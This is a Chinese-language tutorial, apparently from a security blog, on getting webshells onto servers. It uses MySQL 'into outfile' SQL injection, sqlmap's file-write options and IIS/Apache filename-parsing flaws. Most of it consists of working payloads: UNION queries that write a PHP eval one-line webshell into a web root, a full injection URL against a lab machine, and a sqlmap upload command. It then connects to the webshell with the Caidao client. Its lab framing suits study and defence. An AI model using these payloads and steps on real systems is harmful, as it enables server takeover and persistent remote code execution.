SQL语句执行来实现文件上传漏洞
在MySQL中如果是管理员权限的账户可以执行这样的写入文件语句:
select "test" into outfile "D:/phpStudy/WWW/test_1.txt";
这个路径是phpstudy的网站根目录,MySQL只能在网站根目录下写如文件。文件路径中的分隔符是和URL一样的斜杠/,而不是反斜杠\。
我们在MySQL中看一下运行实例:
先要执行这种写入文件语句,必须是MSSQL或者MySQL,对ACCESS数据库是没用的,必须当前用户是管理员,必须要有目标网站的物理路径。
使用union注入
select * from hack union select 1,2,3 into outfile "D:/phpStudy/WWW/h.txt";
这也就意味着我们可以传一句话木马了
select * from hack union select 1,"<?php @eval($_POST['pass']);?>",3 into outfile "D:/phpStudy/WWW/ma.txt";
这边使用菜刀就直接连上来了
同样的我们在win7上配置靶机挂起NPMserv的一个网站,之前是探测过他的手工sql注入漏洞的
这里探查到管理员是root,那么我们就可以执行写入了
http://192.168.71.131/info_show.php?info_id=142%20and%201=2%20union%20select%201,user(),version(),%22%3C?php%20@eval($_POST[%27pass%27]);?%3E%22%EF%BC%8C5%20into%20outfile%20%22C:/a/NPMserv/www/ma.php%22
这里再靶机目录已经被写入了,也是可以用菜刀连上的了
使用sqlmap进行注入上传,我们先在/home里面写入木马
先用sqlmap探测url是否可注入,
存在注入点,然后我们再探测是不是管理员用户
然后再注入我们构造好的木马:
–file-write参数指定本地文件路径
–file-dest参数指定目标路径
sqlmap -u "http://192.168.71.131/info_show.php?info_id=142" --file-write "/home/ma.php" --file-dest "C:/a/NPMserv/www/xiaoma.php"
提示成功注入 ,我们再回到靶机看看
靶机中已经被SQL注入文件,下面就可以用菜刀来连接了,sqlmap果然是比较强大的了
IIS解析漏洞
当网页使用的web服务器是IIS
如果一个目录以“xxx.asp”的形式命名,那么该目录下的所有类型的文件都会被当作asp文件来进行解析执行。
如果一个文件的扩展名采用“.asp;*.jpg”的形式,*号可以随便写,那么该文件也会被当做asp文件解析执行。
Apache解析漏洞
Apache在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后向前解析,直到碰到认识的扩展名为止。
ma.php.xx
只有在Apache1.x和Apache2.x中都存在解析漏洞.
利用解析漏洞可以来上传